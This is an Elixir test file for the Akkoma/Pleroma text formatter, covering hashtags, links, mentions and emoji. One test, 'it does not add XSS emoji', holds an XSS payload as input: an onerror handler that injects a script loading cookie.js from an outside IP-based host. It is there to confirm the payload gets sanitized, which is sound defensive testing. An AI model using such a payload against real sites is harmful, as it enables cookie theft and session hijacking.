update test
[akkoma] / test / formatter_test.exs
1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
3 alias Pleroma.User
4 use Pleroma.DataCase
5
6 import Pleroma.Factory
7 setup_all do
8 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
9 :ok
10 end
11
12 describe ".add_hashtag_links" do
13 test "turns hashtags into links" do
14 text = "I love #cofe and #2hu"
15
16 expected_text =
17 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
18
19 tags = Formatter.parse_tags(text)
20
21 assert expected_text ==
22 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
23 end
24 end
25
26 describe ".add_links" do
27 test "turning urls into links" do
28 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
29
30 expected =
31 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
32
33 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
34
35 text = "https://mastodon.social/@lambadalambda"
36
37 expected =
38 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
39
40 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
41
42 text = "https://mastodon.social:4000/@lambadalambda"
43
44 expected =
45 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
46
47 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
48
49 text = "@lambadalambda"
50 expected = "@lambadalambda"
51
52 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
53
54 text = "http://www.cs.vu.nl/~ast/intel/"
55 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
56
57 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
58
59 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
60
61 expected =
62 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
63
64 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
65
66 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
67
68 expected =
69 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
70
71 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
72
73 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
74
75 expected =
76 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
77
78 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
79
80 text = "https://en.wikipedia.org/wiki/Duff's_device"
81
82 expected =
83 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
84
85 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
86
87 text = "https://pleroma.com https://pleroma.com/sucks"
88
89 expected =
90 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
91
92 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
93
94 text = "xmpp:contact@hacktivis.me"
95
96 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
97
98 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
99
100 text =
101 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
102
103 expected = "<a href=\"#{text}\">#{text}</a>"
104
105 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
106 end
107 end
108
109 describe "add_user_links" do
110 test "gives a replacement for user links" do
111 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
112 gsimg = insert(:user, %{nickname: "gsimg"})
113
114 archaeme =
115 insert(:user, %{
116 nickname: "archaeme",
117 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archaeme"}}
118 })
119
120 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
121
122 mentions = Pleroma.Formatter.parse_mentions(text)
123
124 {subs, text} = Formatter.add_user_links({[], text}, mentions)
125
126 assert length(subs) == 3
127 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
128
129 expected_text =
130 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
131 "https://archeme/@archaeme"
132 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
133 archaeme_remote.ap_id
134 }'>@<span>archaeme</span></a></span>"
135
136 assert expected_text == Formatter.finalize({subs, text})
137 end
138
139 test "gives a replacement for user links when the user is using Osada" do
140 mike = User.get_or_fetch("mike@osada.macgirvin.com")
141
142 text = "@mike@osada.macgirvin.com test"
143
144 mentions = Formatter.parse_mentions(text)
145
146 {subs, text} = Formatter.add_user_links({[], text}, mentions)
147
148 assert length(subs) == 1
149 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
150
151 expected_text =
152 "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
153
154 assert expected_text == Formatter.finalize({subs, text})
155 end
156
157 test "gives a replacement for single-character local nicknames" do
158 text = "@o hi"
159 o = insert(:user, %{nickname: "o"})
160
161 mentions = Formatter.parse_mentions(text)
162
163 {subs, text} = Formatter.add_user_links({[], text}, mentions)
164
165 assert length(subs) == 1
166 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
167
168 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
169 assert expected_text == Formatter.finalize({subs, text})
170 end
171
172 test "does not give a replacement for single-character local nicknames who don't exist" do
173 text = "@a hi"
174
175 mentions = Formatter.parse_mentions(text)
176
177 {subs, text} = Formatter.add_user_links({[], text}, mentions)
178
179 assert length(subs) == 0
180 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
181
182 expected_text = "@a hi"
183 assert expected_text == Formatter.finalize({subs, text})
184 end
185 end
186
187 describe ".parse_tags" do
188 test "parses tags in the text" do
189 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
190
191 expected = [
192 {"#Test", "test"},
193 {"#working", "working"},
194 {"#漢字", "漢字"},
195 {"#は", "は"}
196 ]
197
198 assert Formatter.parse_tags(text) == expected
199 end
200 end
201
202 test "it can parse mentions and return the relevant users" do
203 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
204
205 gsimg = insert(:user, %{nickname: "gsimg"})
206 archaeme = insert(:user, %{nickname: "archaeme"})
207 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
208
209 expected_result = [
210 {"@gsimg", gsimg},
211 {"@archaeme", archaeme},
212 {"@archaeme@archae.me", archaeme_remote}
213 ]
214
215 assert Formatter.parse_mentions(text) == expected_result
216 end
217
218 test "it adds cool emoji" do
219 text = "I love :moominmamma:"
220
221 expected_result =
222 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
223
224 assert Formatter.emojify(text) == expected_result
225 end
226
227 test "it does not add XSS emoji" do
228 text =
229 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
230
231 custom_emoji = %{
232 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
233 "https://placehold.it/1x1"
234 }
235
236 expected_result =
237 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
238
239 assert Formatter.emojify(text, custom_emoji) == expected_result
240 end
241
242 test "it returns the emoji used in the text" do
243 text = "I love :moominmamma:"
244
245 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
246 end
247
248 test "it returns a nice empty result when no emojis are present" do
249 text = "I love moominamma"
250 assert Formatter.get_emoji(text) == []
251 end
252
253 test "it doesn't die when text is absent" do
254 text = nil
255 assert Formatter.get_emoji(text) == []
256 end
257 end